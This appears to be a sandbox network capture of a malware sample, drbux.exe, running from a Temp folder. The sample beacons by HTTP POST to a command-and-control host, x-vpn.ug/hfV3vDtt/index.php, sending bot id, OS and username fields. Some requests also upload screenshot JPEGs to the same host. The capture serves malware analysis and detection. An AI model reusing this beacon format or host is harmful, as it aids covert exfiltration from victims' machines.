Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.6	50017	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:41.248547077 CEST	18668	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:41.332377911 CEST	18681	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.6	50018	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:41.556756973 CEST	18683	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:41.651331902 CEST	18683	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49763	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:34.274660110 CEST	3461	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:34.274805069 CEST	3461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:34.275173903 CEST	3471	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:34.275393963 CEST	3474	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:34.368273973 CEST	3475	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:34.368664026 CEST	3478	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:34.368753910 CEST	3485	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:34.368931055 CEST	3495	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:34.368963957 CEST	3500	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:34.462305069 CEST	3503	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:34.462402105 CEST	3516	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
Jul 19, 2021 18:35:34.462502003 CEST	3532	OUT	Data Raw: 47 0c 9b b3 fe b4 bf fc 0f bc e4 2e 34 bd 46 ce e2 68 2e b4 fb b8 26 86 31 2c b1 cb 03 2b 46 84 81 b9 81 19 03 24 0c 9f 51 50 18 a5 fb 3a dc 18 a4 10 33 94 59 76 9d a5 80 04 80 7a 64 02 0e 3d c5 76 b6 d2 db b6 9d 73 73 f6 7b a9 bc 3c be 1b 68 ed Data Ascii: G.4Fh.&1,+F$QP:3Yvzd=vss{<hTN~.2#P#i\Yn7+3+:qb[^:Z;R9GiHC!N"KbNP(4Cp(SE<UbSB)F(h&usINi1MH7a\iZ;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.6	50019	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:41.691523075 CEST	18684	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168 Host: x-vpn.ug Content-Length: 101645 Cache-Control: no-cache
Jul 19, 2021 18:36:41.691649914 CEST	18684	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 64 63 35 34 39 32 37 66 65 34 61 65 30 62 64 34 34 33 31 33 33 64 31 63 34 32 66 64 31 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0dc54927fe4ae0bd443133d1c42fd168Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:41.691860914 CEST	18694	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:41.692039967 CEST	18697	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:41.775191069 CEST	18697	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:41.775530100 CEST	18705	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:41.775993109 CEST	18708	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:41.777621031 CEST	18716	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:41.777666092 CEST	18723	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:41.858875036 CEST	18744	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:41.859879017 CEST	18760	OUT	Data Raw: 57 9e 7b 68 f4 2f 83 1f f2 3f a7 fd 7a c9 fd 2b e8 97 13 b2 9f b2 94 13 81 94 df f7 49 1d 8f b1 e9 5f 28 78 4b c4 93 f8 53 c4 10 ea 90 42 93 6d 05 1e 37 38 dc a7 ae 0f 63 ef 5f 43 5a fc 46 d0 65 f0 db f8 82 3b 87 fb 3c 25 16 78 c2 6e 92 12 c4 28 Data Ascii: W{h/?z+I_(xKSBm78c_CZFe;<%xn(~0?B~'}}u6l)n="{K.Sl0=I*i&mo$qM\|axow&BDqa/h(&HH]gr EcR.3AS4
Jul 19, 2021 18:36:41.863289118 CEST	18771	OUT	Data Raw: 45 14 5c 03 34 e0 69 b4 66 81 0f 06 9c 0d 30 1a 50 6a 90 87 8e b4 b9 a6 83 45 51 23 a8 06 9b 4a 0d 00 3b 34 66 93 34 51 71 0e 06 9d 51 d2 e6 aa e2 b1 20 34 e0 6a 30 69 c3 34 c9 b0 fc d3 81 a8 c1 a7 6e 15 57 26 c3 e9 dd aa 2d fe d4 b9 cd 55 c5 62 Data Ascii: E\4if0PjEQ#J;4f4QqQ 4j0i4nW&-Ub@T#;4+4Nvii;PhXvj0qJRd?uiV$.j0isN 4Ra{9K7!)zaj4KJSKTe7"IKSKETHZ}DZ5G1\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.6	50020	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:41.845947027 CEST	18723	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:41.941427946 CEST	18774	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.6	50021	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:42.179699898 CEST	18788	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:42.290601969 CEST	18788	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.6	50022	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:42.353121996 CEST	18789	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168 Host: x-vpn.ug Content-Length: 101645 Cache-Control: no-cache
Jul 19, 2021 18:36:42.353205919 CEST	18789	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 64 63 35 34 39 32 37 66 65 34 61 65 30 62 64 34 34 33 31 33 33 64 31 63 34 32 66 64 31 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0dc54927fe4ae0bd443133d1c42fd168Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:42.353382111 CEST	18799	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:42.353460073 CEST	18802	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:42.450078964 CEST	18802	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:42.450288057 CEST	18805	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
